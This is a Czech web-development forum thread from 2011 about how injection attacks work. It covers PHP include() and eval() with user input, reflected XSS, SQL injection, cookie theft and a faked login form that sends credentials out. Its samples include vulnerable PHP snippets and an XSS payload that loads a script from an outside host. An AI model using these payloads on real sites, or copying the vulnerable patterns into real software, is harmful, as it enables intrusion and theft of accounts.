Autor | Zpráva | ||
---|---|---|---|
Louka Profil |
#1 · Zasláno: 27. 4. 2011, 11:32:51
Zdravíčko,
vím, že tohle téma se zde probíralo mnohokrát, ale mě by to zajímalo z druhé stránky. Zajímalo by mě ne jak se bránit (to vím), ale jak jde prakticky použít injekce? Nějaký jednoduchý a všeříkající příklad a vysvětlení (praktické) :) ...? Teoreticky je mi to jasné - záludný řetězec na vstupu, vykonání vlastního skriptu, atd. atd... Díky. |
||
Joker Profil |
#2 · Zasláno: 27. 4. 2011, 11:56:31
|
||
Louka Profil |
#3 · Zasláno: 27. 4. 2011, 12:07:47
Joker:
Díky. A PHP? Musí se využít jen špatně navrženého include() nebo to lze i jinak? Příkad: <?php include($_GET['page']) // jasné, stačí napsat adresu skriptu include("/skripty/".$_GET['page']); // co tady? jak bych spustil svůj skript na jiném serveru? ?> Jiné možnosti? |
||
Taps Profil |
#4 · Zasláno: 27. 4. 2011, 12:48:13
Louka:
můžeš si prostudovat třeba http://www.soom.cz/index.php?name=articles/show&aid=365 |
||
Louka Profil |
#5 · Zasláno: 27. 4. 2011, 12:51:42
Díky, Tapsi :)
|
||
Louka Profil |
#6 · Zasláno: 27. 4. 2011, 15:02:09
OK chápu to správně, že pokud web nepoužívá include() nebo podobné funkce, je spuštění cizího kódu v podstatě nemožné?
|
||
Joker Profil |
#7 · Zasláno: 27. 4. 2011, 16:01:48
Louka:
„pokud web nepoužívá include() nebo podobné funkce, je spuštění cizího kódu v podstatě nemožné?“ Tak vždycky je možné udělat něco jako: eval($_POST["kod"]); I když je teoreticky možné natahovat třeba PHP kód z databáze a potom ho provádět, tam by se něco podstrčit dalo. Dál bych to neformuloval jako že použití include() je nějak nebezpečné, rizikové místo prostě vzniká tam, kde skript spouští nějaký jiný kód, přičemž podobu toho kódu může uživatel ovlivnit. |
||
Louka Profil |
#8 · Zasláno: 27. 4. 2011, 19:11:52
Joker:
Ano, díky za upřesnění. Prostě díra vzniká pouze tam, kde je možná variabilita vykonávaného kódu. To zní logicky. A co jde provést, když mám formulář a nepracuji s DB (když s ní pracuji, je mi to jasné - když se neescapuje, může se nahradit příkaz něčím jiným a pá pá databáze)? <form method="get" action="#"> <input type="text" name="x"> <input type="submit"> </form> <?php echo $_GET['x']; ?> Zde snad není možnost, jak něco udělat ne? Nebo kdybych tam poslal třeba: "bla"; unlink("index.php"); |
||
Joker Profil |
#9 · Zasláno: 27. 4. 2011, 20:27:43
Louka:
„Zde snad není možnost, jak něco udělat ne?“ Asi ne, echo neprovede PHP kód. V uvedeném případě spíš hrozí XSS (Cross-site scripting) a podobné útoky zaměřující se na stranu klienta, například kdybych do políčka pro text zadal: <script src="example.com/zly_skript.js"></script> Krátce řečeno, vždycky jde o to nevěřit vstupům od uživatele. U všeho co zadává uživatel (včetně třeba skrytých polí na formuláři) se má předpokládat, že v tom může být nekorektní hodnota (a nemusí jít hned o útok, například když se uživatel se jmenuje O'Reilly, nebo „Robert'); drop table students --“ :-) ) |
||
Louka Profil |
#10 · Zasláno: 27. 4. 2011, 20:40:29
Joker:
S tím XSS jsem se už setkal (jako při zkoumání), jen mi nejde do hlavy co zmůže útočník pouze s JS? Nemůže zapisovat do souborů ani je mazat, přistupovat do databáze nebo volat externí PHP soubory ne? Ten vtip jsem dneska už při hledání informací četl - nemá chybu :D. |
||
Alphard Profil |
#11 · Zasláno: 27. 4. 2011, 20:43:11
Louka:
Co může dělat "jen" s JS? Např. ukrást cookies a tím i účet admina. |
||
Louka Profil |
#12 · Zasláno: 27. 4. 2011, 21:22:57
Alphard:
Myslíš za situace kdy admin je přihlášený, že? Tohle vlákno jsem založil proto, že o tom vím málo a chci se dozvědět novinky. Nemohu si o tom s vámi podiskutovat, takže omluvte mé někdy asi zcestné dotazy - jen si dělám jasno :). |
||
Časová prodleva: 6 dní
|
|||
zatomik Profil |
#13 · Zasláno: 4. 5. 2011, 00:17:47
s tim echem se dá dělat spousta věcí. Jednoduše můžeš napsat jakýkoliv kód na stránku. jelikož máš možnost tam vložit JS, máš přístup k celému DOM a můžeš jednotlivé části stránky mazat/editovat/vytvářet. Neni například problém přepsat login formulář tak, aby vypadal stejně jako předtím, akorát odeslal přihlašovací údaje na tvůj server a při vhodném redirectu uživatel ani nic nepoznal. Takové útoky jsou myslím ještě horší, když admin ani uživatel nic neví.
|
||
Časová prodleva: 13 let
|
0